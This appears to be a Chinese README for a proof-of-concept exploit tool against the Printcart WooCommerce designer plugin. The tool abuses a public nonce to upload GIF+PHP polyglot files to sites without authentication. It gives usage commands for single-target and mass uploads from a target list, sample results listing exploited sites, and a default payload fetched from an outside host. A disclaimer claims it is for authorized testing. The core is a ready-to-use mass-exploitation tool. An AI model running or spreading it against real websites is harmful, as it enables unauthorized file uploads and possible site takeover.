针对 Printcart Store(WooCommerce 产品设计器)插件 printcart-integration 的上传验证。
nbu_crop_image / nbd_upload_design_file 接受在 upload-design-file 页面上输出的公开 nonce,因此未授权的访问者可以将文件上传到 wp-content/uploads/nbdesigner/uploads/<key>/<name>。该插件仅验证 image/* 内容类型,因此 GIF + PHP 多语言混合文件会被接受。除非 Web 服务器配置为在上传目录中执行 PHP,否则上传的文件会以 image/jpeg 形式提供;本工具验证的是上传行为本身。
# Single target
python3 poc.py "https://target.com" --authorized
# Mass upload from targets.txt
python3 poc.py targets.txt --threads 10 --output results.json --authorized
选项:
--threads — 并发工作线程数(默认:5)--output — 将结果写入 JSON--authorized — 确认已获得书面许可进行实际测试[UPLOAD] https://target.com/ https://target.com/wp-content/uploads/nbdesigner/uploads/pcXXXXXXXX/1794XXXXXXlntrl.jpg
[-] https://safe.com/ version >2.13.2 or plugin missing
[x] https://other.com/ upload-failed
上传的文件名为 lntrl.jpg。默认载荷从 https://upload.lntrl.dev/f/uhzru7f.jpg 获取;如果获取失败,则改用内置的小型 GIF + PHP 多语言混合文件。
仅用于经授权的安全测试。未经书面许可,请勿对目标运行。